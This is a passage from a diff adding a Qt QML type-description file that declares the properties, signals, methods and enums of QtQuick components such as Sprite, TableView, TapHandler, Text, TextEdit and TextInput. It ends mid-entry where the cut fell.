"private/qquicksprite_p.h" + name: "QQuickSprite" + prototype: "QQuickStochasticState" + exports: ["QtQuick/Sprite 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "source"; type: "QUrl" } + Property { name: "reverse"; type: "bool" } + Property { name: "frameSync"; type: "bool" } + Property { name: "frames"; type: "int" } + Property { name: "frameCount"; type: "int" } + Property { name: "frameHeight"; type: "int" } + Property { name: "frameWidth"; type: "int" } + Property { name: "frameX"; type: "int" } + Property { name: "frameY"; type: "int" } + Property { name: "frameRate"; type: "double" } + Property { name: "frameRateVariation"; type: "double" } + Property { name: "frameDuration"; type: "int" } + Property { name: "frameDurationVariation"; type: "int" } + Signal { + name: "sourceChanged" + Parameter { name: "arg"; type: "QUrl" } + } + Signal { + name: "frameHeightChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameWidthChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "reverseChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "frameCountChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameXChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameYChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameRateChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "frameRateVariationChanged" + Parameter { name: "arg"; type: "double" } + } + Signal { + name: "frameDurationChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameDurationVariationChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "frameSyncChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setSource" + Parameter { name: "arg"; type: "QUrl" } + } + Method { + name: "setFrameHeight" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameWidth" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setReverse" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setFrames" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameCount" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameX" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameY" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameRate" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setFrameRateVariation" + Parameter { name: "arg"; type: "double" } + } + Method { + name: "setFrameDuration" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameDurationVariation" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setFrameSync" + Parameter { name: "arg"; type: "bool" } + } + Method { name: "startImageLoading" } + } + Component { + file: "private/qquickspritesequence_p.h" + name: "QQuickSpriteSequence" + defaultProperty: "sprites" + prototype: "QQuickItem" + exports: [ + "QtQuick/SpriteSequence 2.0", + "QtQuick/SpriteSequence 2.1", + "QtQuick/SpriteSequence 2.11", + "QtQuick/SpriteSequence 2.4", + "QtQuick/SpriteSequence 2.7" + ] + exportMetaObjectRevisions: [0, 1, 11, 4, 7] + Property { name: "running"; type: "bool" } + Property { name: "interpolate"; type: "bool" } + Property { name: "goalSprite"; type: "string" } + Property { name: "currentSprite"; type: "string"; isReadonly: true } + Property { name: "sprites"; type: "QQuickSprite"; isList: true; isReadonly: true } + Signal { + name: "runningChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "interpolateChanged" + Parameter { name: "arg"; type: "bool" } + } + Signal { + name: "goalSpriteChanged" + Parameter { name: "arg"; type: "string" } + } + Signal { + name: "currentSpriteChanged" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "jumpTo" + Parameter { name: "sprite"; type: "string" } + } + Method { + name: "setGoalSprite" + Parameter { name: "sprite"; type: "string" } + } + Method { + name: "setRunning" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setInterpolate" + Parameter { name: "arg"; type: "bool" } + } + Method { name: "createEngine" } + } + Component { + file: "private/qquickstate_p.h" + name: "QQuickState" + defaultProperty: "changes" + prototype: "QObject" + exports: ["QtQuick/State 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "name"; type: "string" } + Property { name: "when"; type: "bool" } + Property { name: "extend"; type: "string" } + Property { name: "changes"; type: "QQuickStateOperation"; isList: true; isReadonly: true } + Signal { name: "completed" } + } + Component { + file: "private/qquickstatechangescript_p.h" + name: "QQuickStateChangeScript" + prototype: "QQuickStateOperation" + exports: ["QtQuick/StateChangeScript 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "script"; type: "QQmlScriptString" } + Property { name: "name"; type: "string" } + } + Component { + file: "private/qquickstategroup_p.h" + name: "QQuickStateGroup" + prototype: "QObject" + exports: ["QtQuick/StateGroup 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "state"; type: "string" } + Property { name: "states"; type: "QQuickState"; isList: true; isReadonly: true } + Property { name: "transitions"; type: "QQuickTransition"; isList: true; isReadonly: true } + Signal { + name: "stateChanged" + Parameter { type: "string" } + } + } + Component { file: "private/qquickstate_p.h"; name: "QQuickStateOperation"; prototype: "QObject" } + Component { + name: "QQuickStochasticState" + prototype: "QObject" + Property { name: "duration"; type: "int" } + Property { name: "durationVariation"; type: "int" } + Property { name: "randomStart"; type: "bool" } + Property { name: "to"; type: "QVariantMap" } + Property { name: "name"; type: "string" } + Signal { + name: "durationChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { + name: "nameChanged" + Parameter { name: "arg"; type: "string" } + } + Signal { + name: "toChanged" + Parameter { name: "arg"; type: "QVariantMap" } + } + Signal { + name: "durationVariationChanged" + Parameter { name: "arg"; type: "int" } + } + Signal { name: "entered" } + Signal { + name: "randomStartChanged" + Parameter { name: "arg"; type: "bool" } + } + Method { + name: "setDuration" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setName" + Parameter { name: "arg"; type: "string" } + } + Method { + name: "setTo" + Parameter { name: "arg"; type: "QVariantMap" } + } + Method { + name: "setDurationVariation" + Parameter { name: "arg"; type: "int" } + } + Method { + name: "setRandomStart" + Parameter { name: "arg"; type: "bool" } + } + } + Component { + file: "private/qquicksystempalette_p.h" + name: "QQuickSystemPalette" + prototype: "QObject" + exports: ["QtQuick/SystemPalette 2.0"] + exportMetaObjectRevisions: [0] + Enum { + name: "ColorGroup" + values: ["Active", "Inactive", "Disabled"] + } + Property { name: "colorGroup"; type: "QQuickSystemPalette::ColorGroup" } + Property { name: "window"; type: "QColor"; isReadonly: true } + Property { name: "windowText"; type: "QColor"; isReadonly: true } + Property { name: "base"; type: "QColor"; isReadonly: true } + Property { name: "text"; type: "QColor"; isReadonly: true } + Property { name: "alternateBase"; type: "QColor"; isReadonly: true } + Property { name: "button"; type: "QColor"; isReadonly: true } + Property { name: "buttonText"; type: "QColor"; isReadonly: true } + Property { name: "light"; type: "QColor"; isReadonly: true } + Property { name: "midlight"; type: "QColor"; isReadonly: true } + Property { name: "dark"; type: "QColor"; isReadonly: true } + Property { name: "mid"; type: "QColor"; isReadonly: true } + Property { name: "shadow"; type: "QColor"; isReadonly: true } + Property { name: "highlight"; type: "QColor"; isReadonly: true } + Property { name: "highlightedText"; type: "QColor"; isReadonly: true } + Signal { name: "paletteChanged" } + } + Component { + file: "private/qquicktableview_p.h" + name: "QQuickTableView" + defaultProperty: "flickableData" + prototype: "QQuickFlickable" + exports: ["QtQuick/TableView 2.12", "QtQuick/TableView 2.14"] + exportMetaObjectRevisions: [12, 14] + attachedType: "QQuickTableViewAttached" + Property { name: "rows"; type: "int"; isReadonly: true } + Property { name: "columns"; type: "int"; isReadonly: true } + Property { name: "rowSpacing"; type: "double" } + Property { name: "columnSpacing"; type: "double" } + Property { name: "rowHeightProvider"; type: "QJSValue" } + Property { name: "columnWidthProvider"; type: "QJSValue" } + Property { name: "model"; type: "QVariant" } + Property { name: "delegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "reuseItems"; type: "bool" } + Property { name: "contentWidth"; type: "double" } + Property { name: "contentHeight"; type: "double" } + Property { name: "syncView"; revision: 14; type: "QQuickTableView"; isPointer: true } + Property { name: "syncDirection"; revision: 14; type: "Qt::Orientations" } + Signal { name: "syncViewChanged"; revision: 14 } + Signal { name: "syncDirectionChanged"; revision: 14 } + Method { name: "_q_componentFinalized" } + Method { name: "forceLayout" } + } + Component { + name: "QQuickTableViewAttached" + prototype: "QObject" + Property { name: "view"; type: "QQuickTableView"; isReadonly: true; isPointer: true } + Signal { name: "pooled" } + Signal { name: "reused" } + } + Component { + file: "private/qquicktaphandler_p.h" + name: "QQuickTapHandler" + prototype: "QQuickSinglePointHandler" + exports: ["QtQuick/TapHandler 2.12", "QtQuick/TapHandler 2.15"] + exportMetaObjectRevisions: [12, 15] + Enum { + name: "GesturePolicy" + values: ["DragThreshold", "WithinBounds", "ReleaseWithinBounds"] + } + Property { name: "pressed"; type: "bool"; isReadonly: true } + Property { name: "tapCount"; type: "int"; isReadonly: true } + Property { name: "timeHeld"; type: "double"; isReadonly: true } + Property { name: "longPressThreshold"; type: "double" } + Property { name: "gesturePolicy"; type: "GesturePolicy" } + Signal { + name: "tapped" + Parameter { name: "eventPoint"; type: "QQuickEventPoint"; isPointer: true } + } + Signal { + name: "singleTapped" + Parameter { name: "eventPoint"; type: "QQuickEventPoint"; isPointer: true } + } + Signal { + name: "doubleTapped" + Parameter { name: "eventPoint"; type: "QQuickEventPoint"; isPointer: true } + } + Signal { name: "longPressed" } + } + Component { + file: "private/qquicktext_p.h" + name: "QQuickText" + prototype: "QQuickImplicitSizeItem" + exports: [ + "QtQuick/Text 2.0", + "QtQuick/Text 2.1", + "QtQuick/Text 2.10", + "QtQuick/Text 2.11", + "QtQuick/Text 2.2", + "QtQuick/Text 2.3", + "QtQuick/Text 2.4", + "QtQuick/Text 2.6", + "QtQuick/Text 2.7", + "QtQuick/Text 2.9" + ] + exportMetaObjectRevisions: [0, 1, 10, 11, 2, 3, 4, 6, 7, 9] + Enum { + name: "HAlignment" + values: [ + "AlignLeft", + "AlignRight", + "AlignHCenter", + "AlignJustify" + ] + } + Enum { + name: "VAlignment" + values: ["AlignTop", "AlignBottom", "AlignVCenter"] + } + Enum { + name: "TextStyle" + values: ["Normal", "Outline", "Raised", "Sunken"] + } + Enum { + name: "TextFormat" + values: [ + "PlainText", + "RichText", + "MarkdownText", + "AutoText", + "StyledText" + ] + } + Enum { + name: "TextElideMode" + values: ["ElideLeft", "ElideRight", "ElideMiddle", "ElideNone"] + } + Enum { + name: "WrapMode" + values: [ + "NoWrap", + "WordWrap", + "WrapAnywhere", + "WrapAtWordBoundaryOrAnywhere", + "Wrap" + ] + } + Enum { + name: "RenderType" + values: ["QtRendering", "NativeRendering"] + } + Enum { + name: "LineHeightMode" + values: ["ProportionalHeight", "FixedHeight"] + } + Enum { + name: "FontSizeMode" + values: ["FixedSize", "HorizontalFit", "VerticalFit", "Fit"] + } + Property { name: "text"; type: "string" } + Property { name: "font"; type: "QFont" } + Property { name: "color"; type: "QColor" } + Property { name: "linkColor"; type: "QColor" } + Property { name: "style"; type: "TextStyle" } + Property { name: "styleColor"; type: "QColor" } + Property { name: "horizontalAlignment"; type: "HAlignment" } + Property { name: "effectiveHorizontalAlignment"; type: "HAlignment"; isReadonly: true } + Property { name: "verticalAlignment"; type: "VAlignment" } + Property { name: "wrapMode"; type: "WrapMode" } + Property { name: "lineCount"; type: "int"; isReadonly: true } + Property { name: "truncated"; type: "bool"; isReadonly: true } + Property { name: "maximumLineCount"; type: "int" } + Property { name: "textFormat"; type: "TextFormat" } + Property { name: "elide"; type: "TextElideMode" } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "paintedWidth"; type: "double"; isReadonly: true } + Property { name: "paintedHeight"; type: "double"; isReadonly: true } + Property { name: "lineHeight"; type: "double" } + Property { name: "lineHeightMode"; type: "LineHeightMode" } + Property { name: "baseUrl"; type: "QUrl" } + Property { name: "minimumPixelSize"; type: "int" } + Property { name: "minimumPointSize"; type: "int" } + Property { name: "fontSizeMode"; type: "FontSizeMode" } + Property { name: "renderType"; type: "RenderType" } + Property { name: "hoveredLink"; revision: 2; type: "string"; isReadonly: true } + Property { name: "padding"; revision: 6; type: "double" } + Property { name: "topPadding"; revision: 6; type: "double" } + Property { name: "leftPadding"; revision: 6; type: "double" } + Property { name: "rightPadding"; revision: 6; type: "double" } + Property { name: "bottomPadding"; revision: 6; type: "double" } + Property { name: "fontInfo"; revision: 9; type: "QJSValue"; isReadonly: true } + Property { name: "advance"; revision: 10; type: "QSizeF"; isReadonly: true } + Signal { + name: "textChanged" + Parameter { name: "text"; type: "string" } + } + Signal { + name: "linkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "linkHovered" + revision: 2 + Parameter { name: "link"; type: "string" } + } + Signal { + name: "fontChanged" + Parameter { name: "font"; type: "QFont" } + } + Signal { + name: "styleChanged" + Parameter { name: "style"; type: "QQuickText::TextStyle" } + } + Signal { + name: "horizontalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickText::HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickText::VAlignment" } + } + Signal { + name: "textFormatChanged" + Parameter { name: "textFormat"; type: "QQuickText::TextFormat" } + } + Signal { + name: "elideModeChanged" + Parameter { name: "mode"; type: "QQuickText::TextElideMode" } + } + Signal { name: "contentSizeChanged" } + Signal { + name: "contentWidthChanged" + Parameter { name: "contentWidth"; type: "double" } + } + Signal { + name: "contentHeightChanged" + Parameter { name: "contentHeight"; type: "double" } + } + Signal { + name: "lineHeightChanged" + Parameter { name: "lineHeight"; type: "double" } + } + Signal { + name: "lineHeightModeChanged" + Parameter { name: "mode"; type: "LineHeightMode" } + } + Signal { + name: "lineLaidOut" + Parameter { name: "line"; type: "QQuickTextLine"; isPointer: true } + } + Signal { name: "paddingChanged"; revision: 6 } + Signal { name: "topPaddingChanged"; revision: 6 } + Signal { name: "leftPaddingChanged"; revision: 6 } + Signal { name: "rightPaddingChanged"; revision: 6 } + Signal { name: "bottomPaddingChanged"; revision: 6 } + Signal { name: "fontInfoChanged"; revision: 9 } + Method { name: "q_updateLayout" } + Method { name: "triggerPreprocess" } + Method { name: "imageDownloadFinished" } + Method { name: "doLayout" } + Method { name: "forceLayout"; revision: 9 } + Method { + name: "linkAt" + revision: 3 + type: "string" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { file: "qquicktextdocument.h"; name: "QQuickTextDocument"; prototype: "QObject" } + Component { + file: "private/qquicktextedit_p.h" + name: "QQuickTextEdit" + prototype: "QQuickImplicitSizeItem" + exports: [ + "QtQuick/TextEdit 2.0", + "QtQuick/TextEdit 2.1", + "QtQuick/TextEdit 2.10", + "QtQuick/TextEdit 2.11", + "QtQuick/TextEdit 2.2", + "QtQuick/TextEdit 2.3", + "QtQuick/TextEdit 2.4", + "QtQuick/TextEdit 2.6", + "QtQuick/TextEdit 2.7" + ] + exportMetaObjectRevisions: [0, 1, 10, 11, 2, 3, 4, 6, 7] + Enum { + name: "HAlignment" + values: [ + "AlignLeft", + "AlignRight", + "AlignHCenter", + "AlignJustify" + ] + } + Enum { + name: "VAlignment" + values: ["AlignTop", "AlignBottom", "AlignVCenter"] + } + Enum { + name: "TextFormat" + values: ["PlainText", "RichText", "AutoText", "MarkdownText"] + } + Enum { + name: "WrapMode" + values: [ + "NoWrap", + "WordWrap", + "WrapAnywhere", + "WrapAtWordBoundaryOrAnywhere", + "Wrap" + ] + } + Enum { + name: "SelectionMode" + values: ["SelectCharacters", "SelectWords"] + } + Enum { + name: "RenderType" + values: ["QtRendering", "NativeRendering"] + } + Property { name: "text"; type: "string" } + Property { name: "color"; type: "QColor" } + Property { name: "selectionColor"; type: "QColor" } + Property { name: "selectedTextColor"; type: "QColor" } + Property { name: "font"; type: "QFont" } + Property { name: "horizontalAlignment"; type: "HAlignment" } + Property { name: "effectiveHorizontalAlignment"; type: "HAlignment"; isReadonly: true } + Property { name: "verticalAlignment"; type: "VAlignment" } + Property { name: "wrapMode"; type: "WrapMode" } + Property { name: "lineCount"; type: "int"; isReadonly: true } + Property { name: "length"; type: "int"; isReadonly: true } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "paintedWidth"; type: "double"; isReadonly: true } + Property { name: "paintedHeight"; type: "double"; isReadonly: true } + Property { name: "textFormat"; type: "TextFormat" } + Property { name: "readOnly"; type: "bool" } + Property { name: "cursorVisible"; type: "bool" } + Property { name: "cursorPosition"; type: "int" } + Property { name: "cursorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "cursorDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "overwriteMode"; type: "bool" } + Property { name: "selectionStart"; type: "int"; isReadonly: true } + Property { name: "selectionEnd"; type: "int"; isReadonly: true } + Property { name: "selectedText"; type: "string"; isReadonly: true } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "persistentSelection"; type: "bool" } + Property { name: "textMargin"; type: "double" } + Property { name: "inputMethodHints"; type: "Qt::InputMethodHints" } + Property { name: "selectByKeyboard"; revision: 1; type: "bool" } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "mouseSelectionMode"; type: "SelectionMode" } + Property { name: "canPaste"; type: "bool"; isReadonly: true } + Property { name: "canUndo"; type: "bool"; isReadonly: true } + Property { name: "canRedo"; type: "bool"; isReadonly: true } + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "baseUrl"; type: "QUrl" } + Property { name: "renderType"; type: "RenderType" } + Property { + name: "textDocument" + revision: 1 + type: "QQuickTextDocument" + isReadonly: true + isPointer: true + } + Property { name: "hoveredLink"; revision: 2; type: "string"; isReadonly: true } + Property { name: "padding"; revision: 6; type: "double" } + Property { name: "topPadding"; revision: 6; type: "double" } + Property { name: "leftPadding"; revision: 6; type: "double" } + Property { name: "rightPadding"; revision: 6; type: "double" } + Property { name: "bottomPadding"; revision: 6; type: "double" } + Property { name: "preeditText"; revision: 7; type: "string"; isReadonly: true } + Property { name: "tabStopDistance"; revision: 10; type: "double" } + Signal { name: "preeditTextChanged"; revision: 7 } + Signal { name: "contentSizeChanged" } + Signal { + name: "colorChanged" + Parameter { name: "color"; type: "QColor" } + } + Signal { + name: "selectionColorChanged" + Parameter { name: "color"; type: "QColor" } + } + Signal { + name: "selectedTextColorChanged" + Parameter { name: "color"; type: "QColor" } + } + Signal { + name: "fontChanged" + Parameter { name: "font"; type: "QFont" } + } + Signal { + name: "horizontalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickTextEdit::HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickTextEdit::VAlignment" } + } + Signal { + name: "textFormatChanged" + Parameter { name: "textFormat"; type: "QQuickTextEdit::TextFormat" } + } + Signal { + name: "readOnlyChanged" + Parameter { name: "isReadOnly"; type: "bool" } + } + Signal { + name: "cursorVisibleChanged" + Parameter { name: "isCursorVisible"; type: "bool" } + } + Signal { + name: "overwriteModeChanged" + Parameter { name: "overwriteMode"; type: "bool" } + } + Signal { + name: "activeFocusOnPressChanged" + Parameter { name: "activeFocusOnPressed"; type: "bool" } + } + Signal { + name: "persistentSelectionChanged" + Parameter { name: "isPersistentSelection"; type: "bool" } + } + Signal { + name: "textMarginChanged" + Parameter { name: "textMargin"; type: "double" } + } + Signal { + name: "selectByKeyboardChanged" + revision: 1 + Parameter { name: "selectByKeyboard"; type: "bool" } + } + Signal { + name: "selectByMouseChanged" + Parameter { name: "selectByMouse"; type: "bool" } + } + Signal { + name: "mouseSelectionModeChanged" + Parameter { name: "mode"; type: "QQuickTextEdit::SelectionMode" } + } + Signal { + name: "linkActivated" + Parameter { name: "link"; type: "string" } + } + Signal { + name: "linkHovered" + revision: 2 + Parameter { name: "link"; type: "string" } + } + Signal { name: "editingFinished"; revision: 6 } + Signal { name: "paddingChanged"; revision: 6 } + Signal { name: "topPaddingChanged"; revision: 6 } + Signal { name: "leftPaddingChanged"; revision: 6 } + Signal { name: "rightPaddingChanged"; revision: 6 } + Signal { name: "bottomPaddingChanged"; revision: 6 } + Signal { + name: "tabStopDistanceChanged" + revision: 10 + Parameter { name: "distance"; type: "double" } + } + Method { name: "selectAll" } + Method { name: "selectWord" } + Method { + name: "select" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { name: "deselect" } + Method { + name: "isRightToLeft" + type: "bool" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { name: "cut" } + Method { name: "copy" } + Method { name: "paste" } + Method { name: "undo" } + Method { name: "redo" } + Method { + name: "insert" + Parameter { name: "position"; type: "int" } + Parameter { name: "text"; type: "string" } + } + Method { + name: "remove" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { + name: "append" + revision: 2 + Parameter { name: "text"; type: "string" } + } + Method { name: "clear"; revision: 7 } + Method { name: "q_textChanged" } + Method { + name: "q_contentsChange" + Parameter { type: "int" } + Parameter { type: "int" } + Parameter { type: "int" } + } + Method { name: "updateSelection" } + Method { name: "moveCursorDelegate" } + Method { name: "createCursor" } + Method { name: "q_canPasteChanged" } + Method { name: "updateWholeDocument" } + Method { + name: "invalidateBlock" + Parameter { name: "block"; type: "QTextBlock" } + } + Method { name: "updateCursor" } + Method { + name: "q_linkHovered" + Parameter { name: "link"; type: "string" } + } + Method { + name: "q_markerHovered" + Parameter { name: "hovered"; type: "bool" } + } + Method { name: "q_updateAlignment" } + Method { name: "updateSize" } + Method { name: "triggerPreprocess" } + Method { + name: "inputMethodQuery" + revision: 4 + type: "QVariant" + Parameter { name: "query"; type: "Qt::InputMethodQuery" } + Parameter { name: "argument"; type: "QVariant" } + } + Method { + name: "positionToRectangle" + type: "QRectF" + Parameter { type: "int" } + } + Method { + name: "positionAt" + type: "int" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + Method { + name: "moveCursorSelection" + Parameter { name: "pos"; type: "int" } + } + Method { + name: "moveCursorSelection" + Parameter { name: "pos"; type: "int" } + Parameter { name: "mode"; type: "SelectionMode" } + } + Method { + name: "getText" + type: "string" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { + name: "getFormattedText" + type: "string" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { + name: "linkAt" + revision: 3 + type: "string" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + file: "private/qquicktextinput_p.h" + name: "QQuickTextInput" + prototype: "QQuickImplicitSizeItem" + exports: [ + "QtQuick/TextInput 2.0", + "QtQuick/TextInput 2.1", + "QtQuick/TextInput 2.11", + "QtQuick/TextInput 2.2", + "QtQuick/TextInput 2.4", + "QtQuick/TextInput 2.6", + "QtQuick/TextInput 2.7", + "QtQuick/TextInput 2.9" + ] + exportMetaObjectRevisions: [0, 1, 11, 2, 4, 6, 7, 9] + Enum { + name: "EchoMode" + values: ["Normal", "NoEcho", "Password", "PasswordEchoOnEdit"] + } + Enum { + name: "HAlignment" + values: ["AlignLeft", "AlignRight", "AlignHCenter"] + } + Enum { + name: "VAlignment" + values: ["AlignTop", "AlignBottom", "AlignVCenter"] + } + Enum { + name: "WrapMode" + values: [ + "NoWrap", + "WordWrap", + "WrapAnywhere", + "WrapAtWordBoundaryOrAnywhere", + "Wrap" + ] + } + Enum { + name: "SelectionMode" + values: ["SelectCharacters", "SelectWords"] + } + Enum { + name: "CursorPosition" + values: ["CursorBetweenCharacters", "CursorOnCharacter"] + } + Enum { + name: "RenderType" + values: ["QtRendering", "NativeRendering"] + } + Property { name: "text"; type: "string" } + Property { name: "length"; type: "int"; isReadonly: true } + Property { name: "color"; type: "QColor" } + Property { name: "selectionColor"; type: "QColor" } + Property { name: "selectedTextColor"; type: "QColor" } + Property { name: "font"; type: "QFont" } + Property { name: "horizontalAlignment"; type: "HAlignment" } + Property { name: "effectiveHorizontalAlignment"; type: "HAlignment"; isReadonly: true } + Property { name: "verticalAlignment"; type: "VAlignment" } + Property { name: "wrapMode"; type: "WrapMode" } + Property { name: "readOnly"; type: "bool" } + Property { name: "cursorVisible"; type: "bool" } + Property { name: "cursorPosition"; type: "int" } + Property { name: "cursorRectangle"; type: "QRectF"; isReadonly: true } + Property { name: "cursorDelegate"; type: "QQmlComponent"; isPointer: true } + Property { name: "overwriteMode"; type: "bool" } + Property { name: "selectionStart"; type: "int"; isReadonly: true } + Property { name: "selectionEnd"; type: "int"; isReadonly: true } + Property { name: "selectedText"; type: "string"; isReadonly: true } + Property { name: "maximumLength"; type: "int" } + Property { name: "validator"; type: "QValidator"; isPointer: true } + Property { name: "inputMask"; type: "string" } + Property { name: "inputMethodHints"; type: "Qt::InputMethodHints" } + Property { name: "acceptableInput"; type: "bool"; isReadonly: true } + Property { name: "echoMode"; type: "EchoMode" } + Property { name: "activeFocusOnPress"; type: "bool" } + Property { name: "passwordCharacter"; type: "string" } + Property { name: "passwordMaskDelay"; revision: 4; type: "int" } + Property { name: "displayText"; type: "string"; isReadonly: true } + Property { name: "preeditText"; revision: 7; type: "string"; isReadonly: true } + Property { name: "autoScroll"; type: "bool" } + Property { name: "selectByMouse"; type: "bool" } + Property { name: "mouseSelectionMode"; type: "SelectionMode" } + Property { name: "persistentSelection"; type: "bool" } + Property { name: "canPaste"; type: "bool"; isReadonly: true } + Property { name: "canUndo"; type: "bool"; isReadonly: true } + Property { name: "canRedo"; type: "bool"; isReadonly: true } + Property { name: "inputMethodComposing"; type: "bool"; isReadonly: true } + Property { name: "contentWidth"; type: "double"; isReadonly: true } + Property { name: "contentHeight"; type: "double"; isReadonly: true } + Property { name: "renderType"; type: "RenderType" } + Property { name: "padding"; revision: 6; type: "double" } + Property { name: "topPadding"; revision: 6; type: "double" } + Property { name: "leftPadding"; revision: 6; type: "double" } + Property { name: "rightPadding"; revision: 6; type: "double" } + Property { name: "bottomPadding"; revision: 6; type: "double" } + Signal { name: "accepted" } + Signal { name: "editingFinished"; revision: 2 } + Signal { name: "textEdited"; revision: 9 } + Signal { + name: "fontChanged" + Parameter { name: "font"; type: "QFont" } + } + Signal { + name: "horizontalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickTextInput::HAlignment" } + } + Signal { + name: "verticalAlignmentChanged" + Parameter { name: "alignment"; type: "QQuickTextInput::VAlignment" } + } + Signal { + name: "readOnlyChanged" + Parameter { name: "isReadOnly"; type: "bool" } + } + Signal { + name: "cursorVisibleChanged" + Parameter { name: "isCursorVisible"; type: "bool" } + } + Signal { + name: "overwriteModeChanged" + Parameter { name: "overwriteMode"; type: "bool" } + } + Signal { + name: "maximumLengthChanged" + Parameter { name: "maximumLength"; type: "int" } + } + Signal { + name: "inputMaskChanged" + Parameter { name: "inputMask"; type: "string" } + } + Signal { + name: "echoModeChanged" + Parameter { name: "echoMode"; type: "QQuickTextInput::EchoMode" } + } + Signal { + name: "passwordMaskDelayChanged" + revision: 4 + Parameter { name: "delay"; type: "int" } + } + Signal { name: "preeditTextChanged"; revision: 7 } + Signal { + name: "activeFocusOnPressChanged" + Parameter { name: "activeFocusOnPress"; type: "bool" } + } + Signal { + name: "autoScrollChanged" + Parameter { name: "autoScroll"; type: "bool" } + } + Signal { + name: "selectByMouseChanged" + Parameter { name: "selectByMouse"; type: "bool" } + } + Signal { + name: "mouseSelectionModeChanged" + Parameter { name: "mode"; type: "QQuickTextInput::SelectionMode" } + } + Signal { name: "contentSizeChanged" } + Signal { name: "paddingChanged"; revision: 6 } + Signal { name: "topPaddingChanged"; revision: 6 } + Signal { name: "leftPaddingChanged"; revision: 6 } + Signal { name: "rightPaddingChanged"; revision: 6 } + Signal { name: "bottomPaddingChanged"; revision: 6 } + Method { name: "selectAll" } + Method { name: "selectWord" } + Method { + name: "select" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { name: "deselect" } + Method { + name: "isRightToLeft" + type: "bool" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { name: "cut" } + Method { name: "copy" } + Method { name: "paste" } + Method { name: "undo" } + Method { name: "redo" } + Method { + name: "insert" + Parameter { name: "position"; type: "int" } + Parameter { name: "text"; type: "string" } + } + Method { + name: "remove" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + Method { + name: "ensureVisible" + revision: 4 + Parameter { name: "position"; type: "int" } + } + Method { name: "clear"; revision: 7 } + Method { name: "selectionChanged" } + Method { name: "createCursor" } + Method { + name: "updateCursorRectangle" + Parameter { name: "scroll"; type: "bool" } + } + Method { name: "updateCursorRectangle" } + Method { name: "q_canPasteChanged" } + Method { name: "q_updateAlignment" } + Method { name: "triggerPreprocess" } + Method { name: "q_validatorChanged" } + Method { + name: "positionAt" + Parameter { name: "args"; type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "positionToRectangle" + type: "QRectF" + Parameter { name: "pos"; type: "int" } + } + Method { + name: "moveCursorSelection" + Parameter { name: "pos"; type: "int" } + } + Method { + name: "moveCursorSelection" + Parameter { name: "pos"; type: "int" } + Parameter { name: "mode"; type: "SelectionMode" } + } + Method { + name: "inputMethodQuery" + revision: 4 + type: "QVariant" + Parameter { name: "query"; type: "Qt::InputMethodQuery" } + Parameter { name: "argument"; type: "QVariant" } + } + Method { + name: "getText" + type: "string" + Parameter { name: "start"; type: "int" } + Parameter { name: "end"; type: "int" } + } + } + Component { + file: "private/qquicktext_p.h" + name: "QQuickTextLine" + prototype: "QObject" + Property { name: "number"; type: "int"; isReadonly: true } + Property { name: "width"; type: "double" } + Property { name: "height"; type: "double" } + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "implicitWidth"; revision: 15; 